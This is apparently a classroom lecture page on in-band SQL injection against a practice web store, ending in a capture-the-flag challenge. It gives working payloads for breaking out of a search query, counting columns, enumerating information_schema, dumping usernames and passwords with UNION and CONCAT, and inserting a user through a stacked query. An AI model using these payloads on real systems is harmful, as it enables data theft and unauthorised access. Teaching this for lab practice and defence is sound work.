↓Skip to main content

SQL Injection

Set Up #

Tonight’s lecture is completely browser based with nothing to install locally.

You can follow along by visiting astarml.com

If you haven’t yet read through the Basic Syntax for MySQL/MariaDB, I encourage you to do so here.

SQL Injection Overview #

SQL Injection is the act of breaking out of the SQL Query intended by the application, and passing in commands or additional queries to the database for processing.

There’s several different types (or families so-to-speak) of SQL injection: In-band, Blind, and Out-of-Band. In this class, because are limited on time, we’re really only going to focus on In-Band SQL injection.

  • In-Band is where the results of the attack are returned/viewable directly on the page by the attacker.
  • Blind SQL injection is more complicated as the results aren’t directly viewable, but success can inferred based on things such as response timing, boolean-error presence, etc.
  • Out-of-Band can be even more complicated to detect as the results of the attack aren’t present in the current application, but instead are relayed to another system that the attack may or may not control.

Identifying SQL Injection Candidates #

The very first step when looking for SQL injection in a website is to simply look for places where input is provided and data would likely be retrieved from a database.

In each of the candidate locations for SQLi, I will generally start by trying to induce an error. For example, by inserting a string delimiter such as an apostrophe.

SQLi_string_delimiter.png

You’ll see in the above screengrab that when I introduced an apostrophe, the query became:

SELECT * FROM products WHERE name LIKE '%'%'

This resulted in an %' outside of the search term, causing an error to be thrown. This means that the field is vulnerable to SQL injection, but this on its own isn’t super useful, so we’ll keep trying to exploit the field.

Fixing the Error #

Generally, after identifying the error, I’ll try to fix the error by completing a successful query. I do this because if I can correct the error while still adding my own code, I can continue to build upon it to produce more meaningful results.

In this case, I really just want to chop off the trailing %' from the query. I can do this by inserting a comment after the apostrophe I inserted. '-- - makes the full query become:

SELECT * FROM products WHERE name LIKE '%'-- -%'

However, only the code prior to the comment gets executed.

SQLi_fixing_error.png

Note that the search query on this site is quite basic. If the query where more complex, utilizing functions such as LOWER() to standardize input, you’d also have to handle closing out that function prior to the code your injecting.

Enumerating the database #

Now that we have a working injection point, we want to use it enumerate information about the database. Namely, we want to identify the version of the database system being ran, as well as the user the database is running under.

These can be done using the version() and current_user() function, respectively, however, if we just try to run these in the input field, we’ll hit errors:

SQLi_failed_version_1.png
SQLi_failed_version_2.png

You may remember that when utilizing functions, we actually need a SELECT because we are selecting the output of the function call. However, that doesn’t work either.

SQLi_failed_select_version.png

What we’re actually needing to do is append the results of the function to the end of the results of the ordinary query. So how do we do that?

Using a UNION

We’ll notice though that if we just tack on the ' UNION SELECT version(), we get an error message that both sides of the UNION have different column counts.

SQLi_failed_union.png

To remedy this, we can insert null columns into the right side of the UNION. NOTE that you do need to take into account column types when matching the left and right sides of the union.

To actually figure out how many columns exist, because the total columns returned by the query could be more than the columns shown on the screen, we can use ORDER BY and increment the column we are ordering on. NOTE that order by is a 1 based index, rather than zero.

'ORDER BY 1
'ORDER BY 2
'ORDER BY 3
'ORDER BY 4
...etc until you hit an error...

So we’re ordering by column 1 (Product ID)

SQLi_order_by_1.png

Ordering by 2 (Product Name)

SQLi_order_by_2.png

…Skipping several for time…

Ordering By 5 (Stock Count)

SQLi_order_by_5.png

Ordering By 6 still works, however the columns appear unchanged in their order?

SQLi_order_by_6.png

If we go look at the network call for this search, we’ll see why…

The products table contains another column “owner_id” that isn’t displayed on the website.

SQLi_order_by_6_network_call.png

So now if we do one more increment and order by 7, we return an error that the column doesn’t exist.

SQLi_order_by_7_error.png

At this point, we know that we need fill 6 columns whenever we’re trying to UNION data from the database.

So let’s insert our UNION back into the field, and then start filling in the columns around it.

Column 1 (ID) is an integer, so we can just fill it with a zero.
Column 2 (Product name) is a varchar so lets place our version() there.
Column 3 (Description) is a varchar so we can insert ""
Column 4 (price) is a decimal so we can insert a zero there too
Column 5 (Stock Count) is an integer so zero
Column 6 (owner_id) is an integer so zero

This makes the entire string we’re inserting 'UNION SELECT 0, version(), "", 0, 0, 0 ;-- - and the full query:

SELECT * FROM products WHERE name LIKE '%'UNION SELECT 0, version(), "", 0, 0, 0 ;-- -%'

The output onto the screen now contains a row with the version of the database being ran on the server.

SQLi_return_version.png

Let’s replace version() with current_user() to get the user account that the database is running under. 'UNION SELECT 0, current_user(), "", 0, 0, 0 ;-- -

SELECT * FROM products WHERE name LIKE '%'UNION SELECT 0, current_user(), "", 0, 0, 0 ;-- -%'

SQLi_returning_current_user.png

We’ll also want to know the actual name of the database we’re in, so we can replace current_user() with DATABASE()

SELECT * FROM products WHERE name LIKE '%'UNION SELECT 0, DATABASE(), "", 0, 0, 0 ;-- -%'

SQLi_show_current_database.png

Further Enumeration #

Now that we’ve down some preliminary enumeration, we ultimately want to extract data (hopefully sensitive) from the database.

Let’s start by returning a list of databases in the DBMS. To do this in MySQL, we actually want to return a single column from a table located in the “information_schema” database. This database is a utility database that every MySQL/MariaDB server has and it contains general information about the server.

In order to filter on the column we’re looking for, we actually need to combine a few different keywords that we’re already covered.

UNION SELECT 0, table_name, "", 0, 0, 0 
FROM information_schema.tables 
WHERE table_schema = database();-- -

NOTE that you would need to put this all on a single line to insert it into the input field.

The full database query becomes:

SELECT * FROM products WHERE name LIKE '%'UNION SELECT 0, table_name, "", 0, 0, 0 FROM information_schema.tables WHERE table_schema = 'techstore' ;-- -%'

SQLi_return_tables_in_database.png

The users table looks pretty interesting, but we have no clue how many columns it contains, we can’t realistically do a UNION on a SELECT * for that table. We need to identify columns.

We can do that by querying another table in the “information_schema” database called “columns”

UNION SELECT 0, column_name, "", 0, 0, 0 
FROM information_schema.columns 
WHERE table_schema = 'techstore' 
AND table_name = 'users';-- -

The full database query becomes:

SELECT * FROM products WHERE name LIKE '%'UNION SELECT 0, column_name, "", 0, 0, 0 FROM information_schema.columns WHERE table_schema = 'techstore' AND table_name = 'users' ;-- -%'

SQLi_return_user_columns.png

So we now know the columns of the table “users” includes: id, username, password, email, and role.

Data Exfiltration #

Now, we probably want to retrieve all those columns, however, we only have two columns in our output that can accept varchar so we have to get a little creative.

We can either perform multiple UNION statements. IE: Union-ing the regular output with the username and password and then union-ing that with email and role. However, you then have to break it out and match up the proper rows with each other.

Instead, what I would do in this scenario (and because I know MySQL makes it easy) is Concatenate the fields together.

UNION SELECT id, CONCAT(username, ":", password) as user_info_1, CONCAT(email, ":", role) as user_info_2, 0, 0, 0 
FROM users;-- -

SQLi_data_exfil_concat.png

Data Insertion #

Lastly, SQL injection isn’t only about data retrieval. It can also be useful to insert data. For example, if that users table is used for authentication, we could attempt to insert our own user into the table.

This is where techniques like stacked-query come in. Not all databases support them, however, MySQL/MariaDB does (if enabled when connecting to the database within the application’s code).

In essence, a stacked query is simply writing a second query after the first, seperated by a semicolon. This second query generally can’t return data as the end endpoint likely expects specific data to be returned, but it can still insert data and in our case, the absence of an error confirms it worked.

'; INSERT INTO users (username, password, email, role) VALUES ('jacob', 'password123', 'tester@test.com', 'user');-- -

SQLi_insert_user.png

Your Challenge #

There’s another database on the server called “secrets”. In that database, there’s several tables and one of them has a column called flag containing the secret key. Your challenge is to use the techniques above to retrieve the key stored in that table.